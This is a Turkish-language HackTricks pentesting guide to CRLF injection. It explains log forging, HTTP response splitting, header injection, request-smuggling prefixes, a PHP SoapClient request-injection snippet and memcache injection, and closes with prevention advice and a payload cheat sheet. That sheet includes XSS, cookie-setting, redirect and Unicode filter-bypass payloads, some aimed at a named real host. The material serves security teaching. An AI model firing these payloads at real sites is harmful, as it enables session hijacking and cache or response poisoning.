16 KiB
CRLF (%0D%0A) Enjeksiyonu
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na(https://github.com/sponsors/carlospolop) göz atın!
- Resmi PEASS & HackTricks ürünlerini alın
- [The PEASS Family]'yi keşfedin(https://opensea.io/collection/the-peass-family), özel NFT'lerimiz koleksiyonumuzu
- Bize katılın 💬 Discord grubunda veya telegram grubunda veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks HackTricks ve HackTricks Cloud github depolarına.
![](/Mirrors/hacktricks/media/commit/b0269c310a2300e4a269babbb8063b6fcf406e11/.gitbook/assets/i3.png)
Ödül avcılığı ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan premium bir ödül avcılığı platformu! Bugün https://go.intigriti.com/hacktricks adresinde bize katılın ve $100,000'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
CRLF
Carriage Return (CR) ve Line Feed (LF), toplu olarak CRLF olarak bilinen özel karakter dizileridir ve HTTP protokolünde bir satırın sonunu veya yeni bir satırın başlangıcını belirtmek için kullanılır. Web sunucuları ve tarayıcılar, HTTP başlıklarını ve yanıtın gövdesini ayırt etmek için CRLF'yi kullanır. Bu karakterler, Apache ve Microsoft IIS gibi çeşitli web sunucusu türleri arasında HTTP/1.1 iletişiminde evrensel olarak kullanılır.
CRLF Enjeksiyonu Zafiyeti
CRLF enjeksiyonu, CR ve LF karakterlerinin kullanıcı tarafından sağlanan girişe eklenmesini içerir. Bu eylem, sunucuyu, uygulamayı veya kullanıcıyı, enjekte edilen diziyi bir yanıtın sonu ve diğerinin başlangıcı olarak yorumlamaya yanıltır. Bu karakterler zararlı değildir ancak yanlış kullanımları HTTP yanıtı bölünmesine ve diğer kötü amaçlı faaliyetlere yol açabilir.
Örnek: Bir Günlük Dosyasında CRLF Enjeksiyonu
Yönetici panelindeki bir günlük dosyasını düşünün ve formatın IP - Zaman - Ziyaret Edilen Yol
olduğunu varsayalım. Tipik bir giriş şöyle görünebilir:
123.123.123.123 - 08:15 - /index.php?page=home
Bir saldırgan, bu günlüğü manipüle etmek için bir CRLF enjeksiyonunu sömürebilir. HTTP isteğine CRLF karakterleri enjekte ederek, saldırgan çıktı akışını değiştirebilir ve günlük girişlerini uydurabilir. Örneğin, enjekte edilmiş bir dizi günlük girdisini şu şekilde dönüştürebilir:
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
Burada, %0d
ve %0a
, CR ve LF'nin URL kodlanmış formlarını temsil eder. Saldırı sonrası, günlük yanıltıcı bir şekilde görüntülenir:
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
HTTP Yanıt Bölünmesi
Açıklama
HTTP Yanıt Bölünmesi, bir saldırganın HTTP yanıtlarının yapısını istismar ettiğinde ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlıkları vücuttan belirli bir karakter dizisi olan Taşıma İşareti (CR) ve Satır Beslemesi (LF) ile ayırır, topluca CRLF olarak adlandırılır. Bir saldırgan bir CRLF dizisini bir yanıt başlığına yerleştirmeyi başarırsa, ardışık yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür manipülasyonlar ciddi güvenlik sorunlarına, özellikle de Çapraz Site Komut Dosyası (XSS) sorunlarına yol açabilir.
HTTP Yanıt Bölünmesi Aracılığıyla XSS
- Uygulama,
X-Custom-Header: UserInput
gibi özel bir başlık ayarlar. - Uygulama,
UserInput
için değeri bir sorgu parametresinden alır, diyelim ki "user_input". Doğru giriş doğrulama ve kodlama olmayan senaryolarda, bir saldırgan CRLF dizisini, ardından kötü amaçlı içeriği içeren bir yük oluşturabilir. - Bir saldırgan, özel olarak oluşturulmuş 'user_input' içeren bir URL oluşturur:
?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
- Bu URL'de
%0d%0a%0d%0a
, CRLFCRLF'nin URL kodlanmış biçimidir. Sunucuyu bir CRLF dizisi eklemeye kandırarak, sunucunun ardışık kısmı yanıt gövdesi olarak işlemesini sağlar.
- Sunucu, saldırganın girişini yanıt başlığında yansıtır, kötü niyetli betik tarayıcı tarafından yanıt gövdesinin bir parçası olarak yorumlanır.
HTTP Yanıt Bölünmesinden Yönlendirmeye Giden Bir Örnek
Tarayıcıya:
/%0d%0aLocation:%20http://myweb.com
Ve sunucu şu başlıkla yanıt verir:
Location: http://myweb.com
Diğer örnek: (şuradan https://www.acunetix.com/websitesecurity/crlf-injection/)
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
URL Yolu İçinde
Sunucudan gelen yanıtı kontrol etmek için URL yolunun içine yük paylaşımı gönderebilirsiniz (örnek buradan):
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
Daha fazla örnek için şu adresten kontrol edebilirsiniz:
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
HTTP Başlık Enjeksiyonu
HTTP Başlık Enjeksiyonu, genellikle CRLF (Taşıma İşareti ve Satır Beslemesi) enjeksiyonu aracılığıyla istismar edilir ve saldırganlara HTTP başlıkları eklemelerine izin verir. Bu, XSS (Çapraz Site Komut Dosyası) filtreleri veya SOP (Aynı Köken Politikası) gibi güvenlik mekanizmalarını zayıflatabilir ve bu da CSRF belirteçlerine veya kullanıcı oturumlarının çerez ekimi yoluyla manipülasyonuna yetkisiz erişime yol açabilir.
HTTP Başlık Enjeksiyonu Aracılığıyla CORS'un Sömürülmesi
Bir saldırgan, CORS'u (Çapraz Köken Kaynak Paylaşımı) etkinleştirmek için HTTP başlıklarını enjekte edebilir ve SOP tarafından uygulanan kısıtlamaları atlayabilir. Bu ihlal, kötü amaçlı kökenlerden gelen betiklerin farklı bir kökenden kaynaklarla etkileşime girmesine izin verir ve bu da korunan verilere potansiyel erişim sağlayabilir.
CRLF Aracılığıyla SSRF ve HTTP İsteği Enjeksiyonu
CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bu durumun dikkate değer bir örneği, PHP'nin SoapClient
sınıfındaki zafiyettir, özellikle user_agent
parametresi içinde. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve gövde içeriği ekleyebilir veya tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda, bu sömürünün bir PHP örneği bulunmaktadır:
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
# Put a netcat listener on port 9090
$client->__soapCall("test", []);
İstek Smuggling için Başlık Enjeksiyonu
Bu teknik ve potansiyel sorunlar hakkında daha fazla bilgi için orijinal kaynağa bakın.
Başlangıç isteğine yanıt verdikten sonra arka uç bağlantısını açık tutmasını sağlamak için gerekli başlıkları enjekte edebilirsiniz:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
Sonrasında, ikinci bir istek belirtilebilir. Bu senaryo genellikle HTTP istek kaçırma içerir, ekstra başlıklar veya enjeksiyon sonrası sunucu tarafından eklenen gövde öğeleri çeşitli güvenlik açıklarına yol açabilir.
Sömürü:
- Kötü Amaçlı Önek Enjeksiyonu: Bu yöntem, bir sonraki kullanıcının isteğini veya bir web önbelleğini zehirlemeyi içerirken kötü amaçlı bir önek belirtme işlemidir. Buna bir örnek:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1
- Tepki Kuyruğu Zehirleme için Önek Oluşturma: Bu yaklaşım, tamamlanmış ikinci bir isteği oluşturan bir önek oluşturmayı içerirken sonraki gereksiz verilerle birleştirildiğinde. Bu, tepki kuyruğu zehirlemesini tetikleyebilir. Bir örnek:
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1
Memcache Enjeksiyonu
Memcache, açık metin protokolü kullanan bir anahtar-değer deposudur. Daha fazla bilgi için:
{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}
Tam bilgi için orijinal yazıya bakın
Bir platform, bir HTTP isteğinden veri alıp bunu temizlemeden bir memcache sunucusuna istekler yapmak için kullandığında, bir saldırgan bu davranışı yeni memcache komutları enjekte etmek için kötüye kullanabilir.
Örneğin, orijinal keşfedilen zayıflıkta, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve bağlantı noktasını döndürmek için kullanıldı ve saldırganlar, önbelleği zehirlemek için memcache komutları enjekte edebildiler ve kurbanların ayrıntılarını (kullanıcı adları ve şifreler dahil) saldırgan sunucularına gönderdiler:
![https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop](/Mirrors/hacktricks/media/commit/b0269c310a2300e4a269babbb8063b6fcf406e11/.gitbook/assets/image%20%28659%29.png)
Dahası, araştırmacılar ayrıca memcache yanıtlarını desenkronize edebileceklerini ve saldırganın bilmediği kullanıcıların IP ve bağlantı noktalarını saldırganlara gönderebileceklerini keşfettiler:
![https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop](/Mirrors/hacktricks/media/commit/b0269c310a2300e4a269babbb8063b6fcf406e11/.gitbook/assets/image%20%28637%29.png)
Web Uygulamalarında CRLF / HTTP Başlık Enjeksiyonlarını Nasıl Önlenir
Web uygulamalarında CRLF (Taşıma Dönüşü ve Satır Beslemesi) veya HTTP Başlık Enjeksiyonlarının risklerini azaltmak için aşağıdaki stratejiler önerilir:
- Yanıt Başlıklarında Doğrudan Kullanıcı Girişinden Kaçının: En güvenli yaklaşım, kullanıcı tarafından sağlanan girişi doğrudan yanıt başlıklarına dahil etmekten kaçınmaktır.
- Özel Karakterleri Kodlayın: Doğrudan kullanıcı girişinden kaçınmak mümkün değilse, CR (Taşıma Dönüşü) ve LF (Satır Beslemesi) gibi özel karakterleri kodlamaya yönelik bir işlev kullanmaya dikkat edin. Bu uygulama, CRLF enjeksiyonu olasılığını önler.
- Programlama Dili Güncellemesi: Web uygulamalarınızda kullanılan programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevler içinde CR ve LF karakterlerinin enjeksiyonunu varsayılan olarak engelleyen bir sürümü tercih edin.
HİLE KODU
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Otomatik Araçlar
Kaba Kuvvet Tespiti Listesi
Referanslar
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
![](/Mirrors/hacktricks/media/commit/b0269c310a2300e4a269babbb8063b6fcf406e11/.gitbook/assets/i3.png)
Hata ödülü ipucu: Intigriti'ye kaydolun, hackerlar tarafından oluşturulan bir premium hata ödülü platformu! Bugün bize katılın https://go.intigriti.com/hacktricks ve $100,000'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuzu
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm** takip edin.**
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.